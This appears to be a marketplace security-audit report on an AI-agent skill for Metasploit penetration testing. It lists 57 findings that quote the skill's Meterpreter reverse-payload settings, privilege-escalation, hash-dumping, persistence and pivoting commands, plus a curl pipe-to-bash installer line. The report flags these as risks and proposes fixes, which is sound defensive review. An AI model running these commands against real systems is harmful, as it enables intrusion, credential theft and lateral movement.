Versioned security assessment

Report ID: SA-830F0C8D

7/7/2026, 9:12:27 PM

pentest-metasploit security assessment v8

Skill Security Certification Report

Audit History
Audit model: codex Historical report
Skill name
pentest-metasploit
Version
v8
Maintainer
AgentSecOps
Source
github.com/AgentSecOps/SecOpsAgentKit/tree/main/skills/offsec/pentest-metasploit
Coverage
6 Files scanned · 1,985 Lines analyzed
Policy version
Unavailable

Highest confirmed finding severity

Critical

57 confirmed security findings require attention.

Installation context

Historical evidence

This report may not describe the currently installable artifact. Open the current Skill page for install guidance.

Open current Skill page

This report does not block or authorize the manifest or ZIP.

The core skill is an explicit Metasploit offensive-security workflow with payload delivery, post-exploitation, privilege escalation, pivoting, and credential attack guidance. Most template and reference findings are benign examples, but the SKILL.md content and the unpinned pipe-to-shell CI install are confirmed risks. No prompt injection text was found.

Report position

Historical report

Open audit history before using this report to install.

Audit attestation

Not attestable

The required immutable binding is incomplete.

Human verification

Not verified

No human verification is recorded for this report.

Coverage

6 Files scanned · 1,985 Lines analyzed

68 items shown for review

Limitations

This report does not claim runtime or sandbox execution and does not prove the absence of side effects.

Evidence chain

Follow the evidence from source binding to the install contract. Available evidence supports verification; it is not a safety guarantee.

  1. Source

    Binding unavailable

  2. Artifact

    Identity incomplete

  3. Audit

    Complete

  4. Install contract

    Open manifest to verify

    Open manifest

Capabilities observed

Observed means this report recorded supporting evidence. Not recorded does not prove that a capability is absent.

Contains scripts

May execute code included with the Skill.

Observed in 2 evidence locations

Network access

May connect to external services.

Observed in 24 evidence locations

Filesystem access

May read or write local files.

Observed in 1 evidence location

Env variables

May read values from the process environment.

Observed in 18 evidence locations

External commands

May invoke commands or programs outside the Skill.

Observed in 55 evidence locations

Capability review items (11)
Critical
SKILL.md:179-180
Ruby/shell backtick execution
- `post/windows/gather/hashdump` - Extract password hashes (requires SYSTEM privileges)
The inline module name directs post-exploitation credential collection, escalation discovery, or persistence using Meterpreter modules. This is a real harmful capability if used outside authorization.
Critical
SKILL.md:180-181
Ruby/shell backtick execution
- `post/multi/recon/local_exploit_suggester` - Identify privilege escalation opportunities
The inline module name directs post-exploitation credential collection, escalation discovery, or persistence using Meterpreter modules. This is a real harmful capability if used outside authorization.
Critical
SKILL.md:181-182
Ruby/shell backtick execution
- `post/windows/gather/credentials/credential_collector` - Gather stored credentials
The inline module name directs post-exploitation credential collection, escalation discovery, or persistence using Meterpreter modules. This is a real harmful capability if used outside authorization.
Critical
SKILL.md:182-188
Ruby/shell backtick execution
- `post/windows/manage/persistence_exe` - Establish persistence (if explicitly authorized)
The inline module name directs post-exploitation credential collection, escalation discovery, or persistence using Meterpreter modules. This is a real harmful capability if used outside authorization.
Critical
SKILL.md:350
PowerShell invocation
- **Empire**: Handoff sessions to PowerShell Empire framework
The line recommends handing sessions to PowerShell Empire, a post-exploitation and C2 framework. This is an offensive integration risk beyond ordinary PowerShell administration.
High
SKILL.md:202-203
Ruby/shell backtick execution
1. Background current session: `background`
The inline command sequence is part of a privilege escalation workflow that selects local exploits, binds a session, and runs exploitation. This is actionable post-compromise guidance.
High
SKILL.md:203-204
Ruby/shell backtick execution
2. Select escalation module: `use exploit/windows/local/<escalation-module>`
The inline command sequence is part of a privilege escalation workflow that selects local exploits, binds a session, and runs exploitation. This is actionable post-compromise guidance.
High
SKILL.md:204-205
Ruby/shell backtick execution
3. Set session: `set SESSION <session-id>`
The inline command sequence is part of a privilege escalation workflow that selects local exploits, binds a session, and runs exploitation. This is actionable post-compromise guidance.
High
SKILL.md:205-211
Ruby/shell backtick execution
4. Run exploit: `exploit`
The inline command sequence is part of a privilege escalation workflow that selects local exploits, binds a session, and runs exploitation. This is actionable post-compromise guidance.
High
SKILL.md:229
SOCKS proxy
socks4 127.0.0.1 1080
The SOCKS proxy is used for pivoting through a compromised host to reach internal targets. That enables lateral movement and unauthorized internal scanning if misused.
Low
assets/ci-config-template.yml:240
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The hardcoded raw GitHub URL is tied to an unpinned installer fetched during CI. It is a legitimate external dependency but still contributes to supply-chain risk.

Risk findings

Confirmed security concerns are separated from items that still need review.

Confirmed security concerns (57)

RISK-001 Critical
assets/ci-config-template.yml:240
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template pipes a live GitHub install script directly into bash without pinning or checksum verification. This creates real supply-chain remote code execution risk in workflows using the template.
RISK-002 Critical
SKILL.md:2
Metasploit framework
name: pentest-metasploit
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-003 Critical
SKILL.md:5
Metasploit framework
security assessments using Metasploit Framework. Use when: (1) Validating vulnerabilities in
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-004 Critical
SKILL.md:13
Metasploit framework
tags: [pentest, metasploit, exploitation, post-exploitation, vulnerability-validation, red-team]
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-005 Critical
SKILL.md:16
Metasploit framework
packages: [metasploit-framework]
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-006 Critical
SKILL.md:24
Metasploit framework
# Metasploit Framework Penetration Testing
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-007 Critical
SKILL.md:28
Metasploit framework
Metasploit Framework is the industry-standard platform for penetration testing, vulnerability valida
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-008 Critical
SKILL.md:34
Metasploit framework
Initialize Metasploit console and verify database connectivity:
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-009 Critical
SKILL.md:40
Metasploit framework
# Initialize Metasploit database
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-010 Critical
SKILL.md:43
Metasploit framework
# Launch Metasploit console
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-011 Critical
SKILL.md:120
Metasploit framework
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https
The line configures Meterpreter reverse payloads or evasion payloads. These payloads can create callback control channels and unauthorized remote access if misused.
RISK-012 Critical
SKILL.md:162
Metasploit framework
meterpreter > sysinfo
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-013 Critical
SKILL.md:163
Metasploit framework
meterpreter > getuid
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-014 Critical
SKILL.md:164
Metasploit framework
meterpreter > getprivs
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-015 Critical
SKILL.md:167
Metasploit framework
meterpreter > ipconfig
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-016 Critical
SKILL.md:168
Metasploit framework
meterpreter > route
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-017 Critical
SKILL.md:171
Metasploit framework
meterpreter > ps
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-018 Critical
SKILL.md:174
Metasploit framework
meterpreter > run post/windows/gather/enum_av_excluded
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-019 Critical
SKILL.md:175
Metasploit framework
meterpreter > run post/windows/gather/enum_logged_on_users
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-020 Critical
SKILL.md:190
Metasploit framework
meterpreter > run post/multi/recon/local_exploit_suggester
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-021 Critical
SKILL.md:193
Metasploit framework
meterpreter > ps
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-022 Critical
SKILL.md:194
Metasploit framework
meterpreter > migrate <stable-process-pid>
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-023 Critical
SKILL.md:197
Metasploit framework
meterpreter > getsystem
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-024 Critical
SKILL.md:198
Metasploit framework
meterpreter > getuid
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-025 Critical
SKILL.md:213
Metasploit framework
meterpreter > run post/windows/gather/arp_scanner RHOSTS=<internal-subnet>
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-026 Critical
SKILL.md:214
Metasploit framework
meterpreter > run auxiliary/scanner/smb/smb_version
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-027 Critical
SKILL.md:217
Metasploit framework
meterpreter > run autoroute -s <internal-subnet>/24
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-028 Critical
SKILL.md:280
Metasploit framework
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
The line configures Meterpreter reverse payloads or evasion payloads. These payloads can create callback control channels and unauthorized remote access if misused.
RISK-029 Critical
SKILL.md:301
Metasploit framework
msf6 exploit(office_word_macro) > set PAYLOAD windows/meterpreter/reverse_https
The line configures Meterpreter reverse payloads or evasion payloads. These payloads can create callback control channels and unauthorized remote access if misused.
RISK-030 Critical
SKILL.md:307
Metasploit framework
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
The line configures Meterpreter reverse payloads or evasion payloads. These payloads can create callback control channels and unauthorized remote access if misused.
RISK-031 Critical
SKILL.md:331
Metasploit framework
# Headless Metasploit resource script
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-032 Critical
SKILL.md:336
Metasploit framework
set PAYLOAD windows/x64/meterpreter/reverse_tcp
The line configures Meterpreter reverse payloads or evasion payloads. These payloads can create callback control channels and unauthorized remote access if misused.
RISK-033 Critical
SKILL.md:356
Metasploit framework
Map Metasploit activities to ATT&CK framework:
The skill declares Metasploit Framework as a dependency and core workflow for exploitation and payload delivery. Metasploit is a dual-use exploitation framework, so the marketplace risk is real.
RISK-034 Critical
SKILL.md:380
Metasploit framework
msf6 evasion(...) > set PAYLOAD windows/meterpreter/reverse_https
The line configures Meterpreter reverse payloads or evasion payloads. These payloads can create callback control channels and unauthorized remote access if misused.
RISK-035 Critical
SKILL.md:384
Metasploit framework
set PAYLOAD windows/meterpreter/reverse_https # staged
The line configures Meterpreter reverse payloads or evasion payloads. These payloads can create callback control channels and unauthorized remote access if misused.
RISK-036 Critical
SKILL.md:386
Metasploit framework
set PAYLOAD windows/meterpreter_reverse_https # stageless
The line configures Meterpreter reverse payloads or evasion payloads. These payloads can create callback control channels and unauthorized remote access if misused.
RISK-037 Critical
SKILL.md:389
Metasploit framework
meterpreter > run post/windows/manage/migrate
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-038 Critical
SKILL.md:418
Metasploit framework
meterpreter > run post/multi/recon/local_exploit_suggester
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-039 Critical
SKILL.md:421
Metasploit framework
meterpreter > getsystem -t 1 # Named Pipe Impersonation
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-040 Critical
SKILL.md:422
Metasploit framework
meterpreter > getsystem -t 2 # Named Pipe Impersonation (Admin Drop)
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-041 Critical
SKILL.md:423
Metasploit framework
meterpreter > getsystem -t 3 # Token Duplication
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-042 Critical
SKILL.md:426
Metasploit framework
meterpreter > background
The line instructs Meterpreter post-exploitation, privilege escalation, pivoting, or reconnaissance after compromise. These are actionable offensive steps.
RISK-043 Critical
SKILL.md:349
Cobalt Strike keywords
- **Cobalt Strike**: Export sessions to Cobalt Strike beacons
The line recommends exporting sessions to Cobalt Strike beacons, a C2 and post-exploitation capability. This is high-risk offensive integration guidance.
RISK-044 Critical
multiple:1
[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
This combination is common in credential stealers and RATs
The combination is not accidental: SKILL.md teaches Metasploit exploitation, Meterpreter payloads, credential collection, pivoting, and evasion while assets include CI command execution. This matches high-risk offensive tooling intent.
RISK-045 Critical
SKILL.md:295-310
Phishing Payload Delivery Guidance
The section titled Phishing Campaign Delivery instructs generating a malicious document and setting up a listener with Metasploit payloads. This is social engineering payload delivery, not simple vulnerability validation.
The section name and commands directly describe malicious document generation and listener setup with reverse Meterpreter payloads.
RISK-046 Critical
SKILL.md:313-321
Credential Spraying Workflow
The credential spraying pattern configures SMB login attempts across a target list using an administrator account and a common password. This enables credential attack automation.
The workflow explicitly names credential spraying and provides the Metasploit module and options needed to run login attempts.
RISK-047 Critical
SKILL.md:245-251SKILL.md:377-381
Stealth and Evasion Guidance
The operational guidance recommends attribution prevention, encrypted payload channels, cleanup to avoid detection alerts, and Defender evasion payload generation. These are stealth and defense-evasion tactics.
The cited lines combine operational stealth guidance with explicit evasion payload generation, which is strong intent-level evidence.
RISK-048 Critical
SKILL.md:178-182
Credential Collection and Persistence Modules
The post-exploitation module list includes hash dumping, credential collection, local exploit suggestion, and persistence. These are post-compromise capabilities with direct abuse potential.
The module names and descriptions explicitly cover password hash extraction, stored credential gathering, and persistence establishment.
RISK-049 High
SKILL.md:365
C2 keywords
- **Exfiltration**: T1041 (Exfiltration Over C2 Channel)
The line maps activity to exfiltration over C2, and the same skill provides reverse payload and post-exploitation workflows. The context supports a real C2 risk, although the line is a mapping entry.
RISK-050 High
SKILL.md:163-164
System reconnaissance
meterpreter > getuid
The line supports post-compromise reconnaissance or operational stealth in an exploitation workflow. This is a real risk when used outside a tightly authorized assessment.
RISK-051 High
SKILL.md:198-199
System reconnaissance
meterpreter > getuid
The line supports post-compromise reconnaissance or operational stealth in an exploitation workflow. This is a real risk when used outside a tightly authorized assessment.
RISK-052 High
SKILL.md:248
System reconnaissance
- **Attribution Prevention**: Avoid personal infrastructure or identifiable indicators
The line supports post-compromise reconnaissance or operational stealth in an exploitation workflow. This is a real risk when used outside a tightly authorized assessment.
RISK-053 High
SKILL.md:251
System reconnaissance
- **Session Management**: Close sessions cleanly to avoid detection alerts
The line supports post-compromise reconnaissance or operational stealth in an exploitation workflow. This is a real risk when used outside a tightly authorized assessment.
RISK-054 High
SKILL.md:17
Network scanning tools
tools: [postgresql, nmap]
The line introduces Nmap or Metasploit reconnaissance data into an offensive workflow, including pivoted internal scanning. This can enable unauthorized network discovery.
RISK-055 High
SKILL.md:88
Network scanning tools
msf6 > db_import /path/to/nmap-scan.xml
The line introduces Nmap or Metasploit reconnaissance data into an offensive workflow, including pivoted internal scanning. This can enable unauthorized network discovery.
RISK-056 High
SKILL.md:232
Network scanning tools
proxychains nmap -sT -Pn <internal-target>
The line introduces Nmap or Metasploit reconnaissance data into an offensive workflow, including pivoted internal scanning. This can enable unauthorized network discovery.
RISK-057 High
SKILL.md:348
Network scanning tools
- **Nmap Integration**: Import reconnaissance data with `db_import`
The line introduces Nmap or Metasploit reconnaissance data into an offensive workflow, including pivoted internal scanning. This can enable unauthorized network discovery.

Remediation

Suggested fixes recorded by this audit. Applying them is the maintainer’s responsibility.

  1. FIX-001
    Critical
    Metasploit exploitation and post-exploitation workflows
    Remove executable exploitation, payload, credential collection, persistence, lateral movement, evasion, and phishing instructions. Convert the skill to defensive detection and reporting guidance.
  2. FIX-002
    Critical
    Phishing, credential spraying, and evasion examples
    Delete social engineering delivery, credential attack, stealth, C2, and evasion sections unless marketplace policy explicitly permits restricted offensive content.
  3. FIX-003
    Critical
    Unpinned pipe-to-shell installer in CI template
    Replace the curl pipe-to-shell install with pinned release assets, a package manager, and checksum verification.
  4. FIX-004
    High
    Dual-use integrations with Cobalt Strike and Empire
    Remove handoff guidance to C2 frameworks and keep only defensive detection references.
  5. FIX-005
    Low
    Template examples trigger static scanner noise
    Label examples as non-executable educational templates or move them out of installable skill content.

Expert evidence

Immutable subject identity, scanner metadata, dismissed matches, and source-level evidence.

Artifact subject

Marketplace commit
Unavailable
Content hash
Unavailable
Tree hash
Unavailable
Skill path
Unavailable
Audit payload hash
Unavailable

Analysis metadata

Audit model: codex

Analysis state: Complete

Scope is limited to the recorded files, lines, methods, and evidence. No runtime or sandbox execution is claimed.

Verify and export

JSON report CITATION.cff SARIF 2.1.0 Signed installation manifest

The manifest and lockfile bind install artifacts to cryptographic hashes. This integrity claim is separate from the security assessment.

Audit attestation: not_attestable